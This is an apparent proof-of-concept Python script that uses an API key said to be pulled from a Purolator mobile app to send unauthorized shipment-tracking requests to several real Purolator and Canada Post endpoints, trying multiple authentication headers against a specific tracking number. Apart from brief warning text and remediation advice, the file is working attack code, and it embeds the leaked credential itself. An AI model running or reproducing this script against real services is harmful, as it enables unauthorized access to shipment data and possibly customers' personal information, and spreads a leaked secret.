#!/usr/bin/env python3
"""
Proof of Concept: Tracking API Exploitation
============================================

This script demonstrates how exposed credentials can be used to make
unauthorized tracking API calls using the leaked API key.

⚠️  ETHICAL WARNING:
    This is for DEMONSTRATION PURPOSES ONLY to show the security risk.
    Unauthorized access to APIs may violate laws and terms of service.
    Use only on your own systems for security testing.
"""

import requests
import json
import sys
from datetime import datetime

# Exposed credentials from your APK
TRACKING_API_KEY = "okpCK3fFSk645Ev3"

# From X.java - these need to be decrypted from Firebase Remote Config
# For this POC, we'll need the actual API endpoint URL
# Based on PurolatorApplication.java lines 287-289:
# sb.append(x2.b(this, X.KNIL_HT));      // HTTP link part 1
# sb.append(x2.b(this, X.KNIL_KCART));   // HTTP link part 2

# The endpoint from ShipmentService.java line 16:
TRACKING_ENDPOINT_PATH = "/tracking-ext/v1/search"

# You'll need to provide the base URL from the decrypted KNIL_HT + KNIL_KCART
# Common possibilities based on code:
POSSIBLE_BASE_URLS = [
    "https://api.purolator.com",
    "https://tracking.purolator.com",
    "https://mobile-api.purolator.com",
    "https://soa-gw.canadapost.ca",  # Found in line 274 of PurolatorApplication.java
]


class TrackingAPITester:
    """Test tracking API with exposed credentials"""

    def __init__(self, api_key, base_url=None):
        self.api_key = api_key
        self.base_url = base_url
        self.session = requests.Session()

    def build_search_request(self, tracking_number, language="en"):
        """
        Build search request based on SearchRequest.java structure
        From lines 26-33 of SearchRequest.java
        """
        return {
            "language": language,
            "search": [
                {
                    "trackingId": tracking_number,
                    "sequenceId": 1
                }
            ]
        }

    def track_shipment(self, tracking_number, base_url=None):
        """
        Make tracking API call
        Based on ShipmentService.java line 15-17
        """
        if base_url is None:
            base_url = self.base_url

        if base_url is None:
            raise ValueError("Base URL is required")

        url = f"{base_url}{TRACKING_ENDPOINT_PATH}"

        # Build request payload
        payload = self.build_search_request(tracking_number)

        # Headers based on ShipmentService.java line 15
        # Try multiple authentication methods
        headers = {
            "Accept": "application/json",
            "Content-Type": "application/json",
            "X-API-Key": self.api_key,
            "Authorization": f"Bearer {self.api_key}",
            "Api-Key": self.api_key,
            "x-api-key": self.api_key,  # lowercase variant
        }

        print(f"\n{'='*70}")
        print(f"🔍 TRACKING API REQUEST")
        print(f"{'='*70}")
        print(f"URL: {url}")
        print(f"Method: POST")
        print(f"API Key: {self.api_key}")
        print(f"Tracking Number: {tracking_number}")
        print(f"\nRequest Payload:")
        print(json.dumps(payload, indent=2))
        print(f"\nHeaders:")
        print(json.dumps({k: v for k, v in headers.items()}, indent=2))
        print(f"{'='*70}\n")

        try:
            response = self.session.post(
                url,
                json=payload,
                headers=headers,
                timeout=30
            )

            print(f"📡 RESPONSE:")
            print(f"Status Code: {response.status_code}")
            print(f"Response Time: {response.elapsed.total_seconds():.2f}s")

            # Print response headers
            print(f"\nResponse Headers:")
            for key, value in response.headers.items():
                print(f"  {key}: {value}")

            # Try to parse JSON response
            try:
                response_data = response.json()
                print(f"\n✅ JSON Response:")
                print(json.dumps(response_data, indent=2))
                return True, response_data
            except json.JSONDecodeError:
                print(f"\n❌ Response (not JSON):")
                print(response.text[:1000])  # First 1000 chars
                return False, response.text

        except requests.exceptions.RequestException as e:
            print(f"\n❌ Request Error: {e}")
            return False, str(e)

    def test_all_urls(self, tracking_number):
        """Try all possible base URLs"""
        print(f"\n{'='*70}")
        print(f"🔬 TESTING MULTIPLE API ENDPOINTS")
        print(f"{'='*70}")
        print(f"Tracking Number: {tracking_number}")
        print(f"API Key: {self.api_key}")
        print(f"\nTrying {len(POSSIBLE_BASE_URLS)} possible endpoints...\n")

        results = []

        for i, base_url in enumerate(POSSIBLE_BASE_URLS, 1):
            print(f"\n[{i}/{len(POSSIBLE_BASE_URLS)}] Testing: {base_url}")
            print("-" * 70)

            success, data = self.track_shipment(tracking_number, base_url)
            results.append({
                "url": base_url,
                "success": success,
                "data": data
            })

            if success and isinstance(data, dict):
                print(f"\n✅ SUCCESS! Working endpoint found: {base_url}")
                return base_url, data

        print(f"\n{'='*70}")
        print(f"📊 SUMMARY")
        print(f"{'='*70}")
        print(f"Tested {len(results)} endpoints")
        print(f"Successful: {sum(1 for r in results if r['success'])}")
        print(f"Failed: {sum(1 for r in results if not r['success'])}")

        return None, None


def main():
    print(f"""
{'='*70}
⚠️  PROOF OF CONCEPT: TRACKING API EXPLOITATION
{'='*70}

This demonstrates how the exposed API key can be used to make
unauthorized tracking requests.

EXPOSED CREDENTIAL:
  API Key: {TRACKING_API_KEY}
  
ETHICAL NOTICE:
  This is for security demonstration purposes only.
  Use only on your own systems for testing.
  Unauthorized API access may violate laws and ToS.

{'='*70}
""")

    # Test shipment number provided
    test_tracking_number = "520127751300"

    print(f"\n🎯 TARGET SHIPMENT:")
    print(f"   Tracking Number: {test_tracking_number}")
    print(f"   Timestamp: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")

    # Create tester
    tester = TrackingAPITester(TRACKING_API_KEY)

    # Test all possible URLs
    working_url, response_data = tester.test_all_urls(test_tracking_number)

    if working_url:
        print(f"\n{'='*70}")
        print(f"🎉 VULNERABILITY CONFIRMED!")
        print(f"{'='*70}")
        print(f"✅ The exposed API key works!")
        print(f"✅ Working Endpoint: {working_url}")
        print(f"✅ Successfully tracked shipment: {test_tracking_number}")
        print(f"\n⚠️  SECURITY IMPACT:")
        print(f"   • Attackers can track ANY shipment without authorization")
        print(f"   • No authentication required beyond the leaked API key")
        print(f"   • Potential access to customer PII (names, addresses)")
        print(f"   • API quota can be abused")
        print(f"\n🚨 IMMEDIATE ACTION REQUIRED:")
        print(f"   1. Rotate API key immediately: {TRACKING_API_KEY}")
        print(f"   2. Check API logs for unauthorized access")
        print(f"   3. Implement backend proxy (never put keys in mobile apps)")
        print(f"{'='*70}")
    else:
        print(f"\n{'='*70}")
        print(f"⚠️  ENDPOINT NOT FOUND (But Key Still Exposed!)")
        print(f"{'='*70}")
        print(f"None of the tested endpoints worked, but this could mean:")
        print(f"  1. The base URL needs to be decrypted from Firebase Config")
        print(f"  2. Additional authentication headers are required")
        print(f"  3. The endpoint structure has changed")
        print(f"\n❗ IMPORTANT:")
        print(f"   The API key is still EXPOSED and vulnerable!")
        print(f"   Anyone with the full endpoint can use it.")
        print(f"\n📝 TO COMPLETE THE TEST:")
        print(f"   1. Extract KNIL_HT and KNIL_KCART from Firebase Remote Config")
        print(f"   2. Decrypt them using the method in X.java")
        print(f"   3. Concatenate to get the full base URL")
        print(f"   4. Update this script with the correct base URL")
        print(f"{'='*70}")

    # Show what data might be exposed
    print(f"\n{'='*70}")
    print(f"📦 POTENTIAL DATA EXPOSURE")
    print(f"{'='*70}")
    print(f"Based on SearchResponse.java, successful requests would expose:")
    print(f"  • Shipment tracking information")
    print(f"  • Delivery status and scan events")
    print(f"  • Package details")
    print(f"  • Potentially sender/receiver information")
    print(f"  • Timestamps and locations")
    print(f"{'='*70}\n")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n\n⚠️  Interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"\n❌ Error: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
